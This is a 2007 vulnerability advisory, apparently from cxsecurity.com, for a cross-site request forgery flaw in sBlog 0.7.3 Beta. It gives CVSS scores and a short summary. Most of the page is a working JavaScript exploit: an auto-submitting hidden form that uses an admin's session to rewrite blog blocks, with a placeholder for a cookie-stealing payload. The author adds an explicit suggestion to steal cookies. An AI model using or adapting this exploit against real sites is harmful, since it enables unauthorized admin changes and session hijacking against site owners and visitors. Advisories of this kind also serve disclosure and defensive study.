sBlog 0.7.3 Beta Cross Site Request Forgery

2007.11.05
Credit: 0x90
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- - Product : sBlog - - Version : 0.7.3 Beta - - Website : http://www.sblog.se - - Author : 0x90 - - Homepage: WwW.0x90.CoM.Ar - - Contact : Guns[at]0x90[dot]com[dot]ar - - Problem : Cross Site Request Forgery Vulnerability - - Sumary : sBlog has, by default, no CSRF protection, this may allow an attacker to change any block by tricking a victim with admin privileges into a special forged web page (even in a a totally different server) that sends a request to change one block in the web. The victim does not know that the form was sent. If the victim has admin privileges the exploit will succeed, otherwise nothing will happen. - - Note : I recommend steal the cookie ;) - - Greetz : xiam ;) Visit: xiam.be --> <script type="text/javascript"> window.onload = function() { var url = "http://[URL]/blocks_edit_do.php"; var bid = [block id]; var topic = [name block]; var content = [cookie stealer]; var param = { id: bid, block_topic: topic, block_content: content, block_vis: 1, block_style: 1, block_top: 1 }; var form = document.createElement('form'); form.action = url; form.method = 'post'; form.target = 'hidden'; form.style.display = 'none'; for (var i in param) { try { // ie var input = document.createElement('<input name="'+i+'">'); } catch(e) { // other browsers var input = document.createElement('input'); input.name = i; } input.setAttribute('value', param[i]); form.appendChild (input); } document.body.appendChild(form); form.submit(); } </script> <iframe name="hidden" style="display: none"></iframe>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top